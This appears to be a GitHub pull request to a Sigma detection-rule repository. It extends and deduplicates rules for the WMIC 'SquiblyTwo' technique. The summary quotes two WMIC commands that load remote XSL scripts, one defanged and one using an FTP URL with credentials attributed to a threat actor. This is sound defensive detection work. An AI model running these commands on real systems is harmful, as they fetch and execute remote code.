update: SquiblyTwo Related Rules #5476
Open
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary of the Pull Request
In the current scenario, If I ran this command
wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"
Both of the following rules gets triggered.
And plus the first rule only triggers if SquiblyTwo Technique is executed via http/s only. But, In this case, threat actor executes this technique via ftp via following command.
wmic os get /format:\"ftp://u:u@b.smtper.co/beta/usoprive\
Looking at the LOLBAS documentation, the example is using UNC path.

Thus, I have made necessary changes to avoid duplication of rules and increase the detection coverage.
Changelog
update: WMIC Loading Scripting Libraries - Description modified and related rules added
update: Potential SquiblyTwo Technique Execution - Extended coverage for remote execution
update: XSL Script Execution Via WMIC.EXE - Filtered out remote execution parameters
Example Log Event
Fixed Issues
SigmaHQ Rule Creation Conventions